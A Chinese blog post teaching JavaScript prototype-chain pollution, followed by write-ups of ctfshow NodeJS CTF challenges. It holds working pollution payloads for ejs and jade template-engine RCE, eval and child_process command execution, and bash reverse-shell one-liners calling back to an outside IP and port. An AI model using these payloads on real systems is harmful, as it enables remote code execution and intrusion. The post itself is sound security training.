NodeJS原型链污染ctfshow_nodejs

本文最后更新于：2023年8月25日 下午

[TOC]

NodeJS原型链污染&ctfshow_nodejs

前言

最近又遇到了有关原型链污染的题目，所以在此总结一下，方便回顾

0x01.原型与原型链

js中一切皆对象，其中对象之间是存在共同和差异的。

  • 共同：对象的最终原型是Object的原型null
  • 差异：函数对象中有prototype属性，但是实力对象没有

1、原型的定义:

原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承

(1)所有引用类型（函数，数组，对象）都拥有__proto__属性（隐式原型

(2)所有函数拥有prototype属性（显式原型）（仅限函数）

2、原型链的定义:

原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。

0x02.prototype和__proto__分别是什么？

prototype是一个类的属性，所有类对象在实例化的时候都会拥有prototype中的属性的方法

一个对象的__proto__属性，指向这个对象所在类的prototype属性

我们可以通过Foo.prototype来访问Foo类的原型，但Foo实例化出来的对象，是不能通过prototype访问原型的。这时候，就该__proto__登场了。

一个Foo类实例化出来的foo对象，可以通过foo.__proto__属性来访问Foo类的原型，也就是说：

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foo.__proto__ == Foo.prototype

0x03.原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法，这个特性被用来实现JavaScript中的继承机制。

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function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)


// Name: Melania Trump

总结一下，对于对象son，在调用son.last_name的时候，实际上JavaScript引擎会进行如下操作：

  1. 在对象son中寻找last_name
  2. 如果找不到，则在son.__proto__中寻找last_name
  3. 如果仍然找不到，则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找，直到找到null结束。比如，Object.prototype的__proto__就是null

知识点：

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性，指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

不同对象的原型链*

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var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链：
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链：
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链：
// f ---> Function.prototype ---> Object.prototype ---> null

知道这个，后面的就容易理解了

0x04.原型链污染原理

对于语句：object[a][b] = value 如果可以控制a、b、value的值，将a设置为__proto__，我们就可以给object对象的原型设置一个b属性，值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下，都会拥有b属性，且值为value。

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object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); //Hello World
object2 = {"c":1, "d":2};
console.log(object2.foo); //Hello World

最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下，也会输出Hello World呢？就是因为在第二条语句中，我们对object1的原型对象设置了一个foo属性，而object2和object1一样，都是继承了Object.prototype。在获取object2.foo时，由于object2本身不存在foo属性，就会往父类Object.prototype中去寻找。这就造成了一个原型链污染，所以原型链污染简单来说就是如果能够控制并修改一个对象的原型，就可以影响到所有和这个对象同一个原型的对象。

0x05.merge()导致原型链污染

merge操作是最常见可能控制键名的操作，也最能被原型链攻击。

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function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)  // 1 2

object3 = {}
console.log(object3.b)	// 2

上述已经污染成功了，object3并没有b变量，但是输出为2，说明我们已经污染了Object原型对象的值，根据原型链继承，object3中也有b变量，所以输出为2

需要注意的点是：

在JSON解析的情况下，__proto__会被认为是一个真正的“键名”，而不代表“原型”，所以在遍历object2的时候会存在这个键。

如果我们不使用json解析：

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let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2

o3 = {}
console.log(o3.b)  // undefiend

这是因为，我们用JavaScript创建o2的过程（let o2 = {a: 1, "__proto__": {b: 2}}）中，__proto__已经代表o2的原型了，此时遍历o2的所有键名，你拿到的是[a, b]，__proto__并不是一个key，自然也不会修改Object的原型。

0x06.ejs模板引擎RCE

https://www.anquanke.com/post/id/236354#h2-2

该漏洞可以参考：ctfshowweb341

想要使用ejs进行RCE的前提是需要有原型链污染。例如：

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router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;    
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: 'login success!'});  
  }else{
    return res.json({ret_code: 2, ret_msg: 'login fail!'});  
  }

});


function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

这里通过copy()函数就可以造成原型链污染漏洞

从app.js我们可以看到使用了ejs模板引擎：

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app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

我们跟进ejs.js中的renderFile()函数

在 EJS（Embedded JavaScript）模板引擎中，renderFile() 是一个用于加载和渲染模板文件的方法。它通常与 Express 框架一起使用。

renderFile() 方法的作用是读取指定的 EJS 模板文件，并将数据填充到模板中生成最终的 HTML 内容。这个方法多用于将动态数据注入到模板中，以生成动态的网页内容

可见，这个renderFile()函数非常的重要，如果能够控制它输出的值，就会执行相应的代码

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exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;
	...
  return tryHandleCache(opts, data, cb);
};

返回值是tryHandleCache(opts, data, cb)我们跟进一下：

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function tryHandleCache(options, data, cb) {
  var result;
  if (!cb) {
    if (typeof exports.promiseImpl == 'function') {
      return new exports.promiseImpl(function (resolve, reject) {
        try {
          result = handleCache(options)(data);
          resolve(result);
        }
        ...
  }
  else {
    try {
      result = handleCache(options)(data);
    }catch (err) {
      return cb(err);
    }
      ...
  }
}

我们发现这个函数一定会进入：handleCache()

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function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;
	...
  func = exports.compile(template, options); //返回值
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
}

这个函数的返回值是func，而func是 exports.compile(template, options)的返回值，继续跟进：compile()

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compile: function () {
	...
    if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      ...
 		...
    }

我们发现函数里面存在大量拼接渲染，

如果能够覆盖 opts.outputFunctionName , 这样我们构造的payload就会被拼接进js语句中，并在 ejs 渲染时进行 RCE

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prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection

prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); var __tmp2 = __append;'
// 拼接了命令语句

我们可以覆盖opts.outputFunctionName 为：

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__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2

然后经过ejs原型链污染掉outputFunctionName 就可以实现rce了

由于此处例子的：user.userinfo是一个函数，所以需要使用两次__proto__才能获得原型对象：Object

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{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2"}}}

进行 copy 函数后, 此时 outputFunctionName 已经在全局变量中被复制了, 可以在 Global 的 __proto__ 的 __proto__ 的 __proto__ 下找到我们的污染链:

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ejs模板引擎另一处rce

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var escapeFn = opts.escapeFunction;
var ctor;
...
    if (opts.client) {
    src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
    if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
    }
}

伪造 opts.escapeFunction 也可以进行 RCE

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{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

0x07.jade模板引擎RCE

可以参考：ctfshow web342

原型链的污染思路和 ejs 思路很像

app.js中发现模板引擎为jade：

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app.engine('jade', require('jade').__express); 
app.set('view engine', 'jade');

我们跟进jade.js，继续看renderFile()

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exports.renderFile = function(path, options, fn){
  // support callback API
  ...

  options.filename = path;
  return handleTemplateCache(options)(options);	//返回值
};

跟进handleTemplateCache()

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function handleTemplateCache (options, str) {
  ...
  else {
    var templ = exports.compile(str, options);  //
    if (options.cache) exports.cache[key] = templ;
    return templ;
  }
}

返回值为temp1，所以我们跟进compile()

20210325203504979

我们必须满足：compileDebug==true

jade 模板和 ejs 不同, 在compile之前会有 parse 解析, 尝试控制传入 parse 的语句

所以我们跟进一下parse()函数

20210325204216262

在 parse 函数中主要执行了这两步, 最后返回的部分:

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var body = ''
  + 'var buf = [];\n'
  + 'var jade_mixins = {};\n'
  + 'var jade_interp;\n'
  + (options.self
    ? 'var self = locals || {};\n' + js
    : addWith('locals || {}', '\n' + js, globals)) + ';'
  + 'return buf.join("");';
return {body: body, dependencies: parser.dependencies};

options.self 可控, 如果我们控制self=true，可以绕过 addWith 函数,

回头跟进 compile 函数, 看看作用：

20210325204630223

返回的是 buf, 跟进 visit 函数

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如果 debug 为 true, node.line 就会被 push 进去, 造成拼接 (两个参数)

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jade_debug.unshift(new jade.DebugItem( 0, "" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//
// 注释符注释掉后面的语句

在返回的时候还会经过 visitNode 函数:

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visitNode: function(node){
    return this['visit' + node.type](node);}

这个函数会执行visit开头的函数，所以我们需要控制type为有效的：

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visitAttributes
visitBlock
visitBlockComment √
visitCase
visitCode √
visitComment √
visitDoctype √
visitEach
visitFilter
visitMixin
visitMixinBlock √
visitNode
visitLiteral
visitText
visitTag
visitWhen

然后就可以返回 buf 部分进行命令执行

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{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

(污染对应的变量，这样才能进入到指定的地方进行字符串拼接)

补充: 针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type

【ctfshow】nodejs

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login.js

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var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

user.js

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module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

很显然，我们只需要绕过这里： toUpperCase()是javascript中将小写转换成大写的函数。

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return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });

我们可以使用小写绕过：ctfshow

这里还有一个小trick，

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在Character.toUpperCase()函数中，字符ı会转变为I，字符ſ会变为S。
在Character.toLowerCase()函数中，字符İ会转变为i，字符K会转变为k。

所以我们也可以写成这样：ctfſhow

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源码提示：

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<!-- /?eval= -->

因此我们可以使用nodejs中的eval()进行命令执行

Node.js中的child_process.exec调用的是/bash.sh，它是一个bash解释器，可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

image-20230411173113969

这里我们选择反弹shell，

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bash -i >& /dev/tcp/ip/port 0>&1

这一句的意思就是反弹shell，将输出与输入都重定型到指定ip的指定端口上面，

但是我们不能直接这样，我们需要先base64编码之后(注意加号要进行url编码为%2B)，然后使用echo输出，使用管道符|将输出作为base64 -d输入进行base64解密，最后再传给bash

这里我选择自己的服务器，首先监听9996端口，然后再execute

image-20230411173813970

成功监听到了：

image-20230411174043978

直接读flag

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我们了解到如下知识点：

__filename：当前模块的文件名。 这是当前模块文件的已解析符号链接的绝对路径。

__dirname：可以获得当前文件所在目录从盘符开始的全路径

image-20230411181055933

有一种方法是使用fs模块去读取当前目录的文件名，然后通过方法去读取文件内容：

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require('fs').readdirSync('.')

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require('fs').readFileSync('fl001g.txt')

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常规方法：这里过滤了exec，我们可以使用spawn

nodejs的child_process中可以使用 exec、execSync、spawn、spawnSync进行命令执行

当我们使用：

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require('child_process').spawnSync('ls')

image-20230411183551070

发现，显示出 object，查询资料

image-20230411183721508

返回的object里有个stdout属性，我们调用它，就可以当成字符串输出了：

image-20230411183854636

然后我们去读文件：

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// require('child_process').spawnSync('cat fl001g.txt').stdout

如果这样读的话语法是错的，我们需要这样：

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require('child_process').spawnSync('cat',['fl001g.txt']).stdout

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还有一种思路，通过定义变量，然后多个变量拼接：

在这里插入图片描述

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var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

关键点在这里：

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if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);

这里可以使用数组绕过

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a = ['1']
b = 1
console.log(a + 'flag')
console.log(b + 'flag')

输出：

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1flag
1flag

可以看到，nodejs中：如果数组与字符串拼接后输出、数字与字符串拼接后输出，结果是一样的

于是我们就有一种思路，可以a传入数组，然后b传入等值的数字：

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a[]=1&b=1

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还有一种方法，

nodejs中数组只能是数字索引，如果为非数字索引的话，相当于对象了。

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a = {'x': 1}
b = {'x': 2}
console.log(a + 'flag')
console.log(b + 'flag')

输出：
[object Object]flag
[object Object]flag

因此我们直接绕过：

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a[x]=1&b[x]=2

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nodejs原型链污染

关键在：

commons.js

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module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

login.js

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var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){   //
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

我们可以通过copy()函数，通过原型链来污染secret变量的ctfshow属性

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{
	"username":"asd",
	"password":"123",
    "__proto__" : {
    	"ctfshow":"36dboy"
    }
 }

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login.js

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let user = {};
 utils.copy(user,req.body);
 if(secert.ctfshow===flag){
   res.end(flag);
 }

这里没法利用了

api.js

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router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

注意这一句： Function(query)(query)，这种写法可以动态执行函数的：

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console.log(Function('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()')('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()'))

// leekos\like

因此我们只需要通过原型链污染一下query变量，反弹shell即可：

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"__proto__":  {
    "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'')"
}

登陆的时候污染query，然后访问/api路由即可触发反弹shell：

web340

login.js发生了点变化，api.js还是一样的

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var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }

这里还是调用了copy()函数，可以造成原型链污染。但是注意，这里并不是使user.userinfo.isAdmin=true，因为就算污染了它的原型，它还是false，因为类似与就近原则，变量的值还是等于靠近他们的值，我们没办法从这里入手

我们继续从query入手，在这里我们要将req.body中的值复制给user.userinfo

由于user.userinfo是一个函数，所以经过一次__proto__后，得到的原型对象是Function，再经过一次__proto__后，得到的原型对象是Object，就可以污染query了，这里只需要两次__proto__就行了：

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"__proto__":{
    "__proto__":{
        "query":
        "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/49.235.108.15/9996 0>&1\"')"
    }
}

web341

ejs原型链污染：

https://www.anquanke.com/post/id/236354#h2-2

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"__proto__":{
    "__proto__":{
        "outputFunctionName":
        "_tmp1; return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var _tmp2"
    }
}

web342-343

jade原型链污染：
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{
	"__proto__":{
        "__proto__": {
            "type":"Code",
            "compileDebug":true,
            "self":true,
            "line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');//"
        }
    }
}

web344

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router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

过滤了8c、2c、,

我们本来应该这么传参：

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/?query={"name":"admin","password":"ctfshow","isVIP":true}

HTTP协议中允许同名参数出现多次，但不同服务端对同名参数 处理是不一样的：

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Web服务器 　　　　　　 参数获取函数 　　　　　　　　　　   获取到的参数

PHP/Apache　　 　　  $_GET(“par”) 　　　　　　　　　　 Last

JSP/Tomcat 　　　　  Request.getParameter(“par”)    First

Perl(CGI)/Apache 　 Param(“par”) 　　　　　　　　　　 First

Python/Apache 　　  getvalue(“par”) 　　　　　　　　  All(List)

ASP/IIS 　　　　　　 Request.QueryString(“par”) 　　 All (comma-delimited string)

在nodejs中会把同名参数以数组的形式存储，并且JSON.parse可以正常解析

image-20230805210302505

上面逗号,被过滤了，我们可以使用&改写成下面的格式：

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/?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

但是此时又有一个问题，双引号的url编码：%22 与ctfshow的c结合后会变成2c，被过滤了，

所以我们应该把c编码一下：%63

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/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

参考

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://www.anquanke.com/post/id/236354#h2-3

#NodeJS原型链污染ctfshow_nodejs
NodeJS原型链污染ctfshow_nodejs
https://leekosss.github.io/2023/08/24/NodeJS原型链污染&ctfshow_nodejs/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
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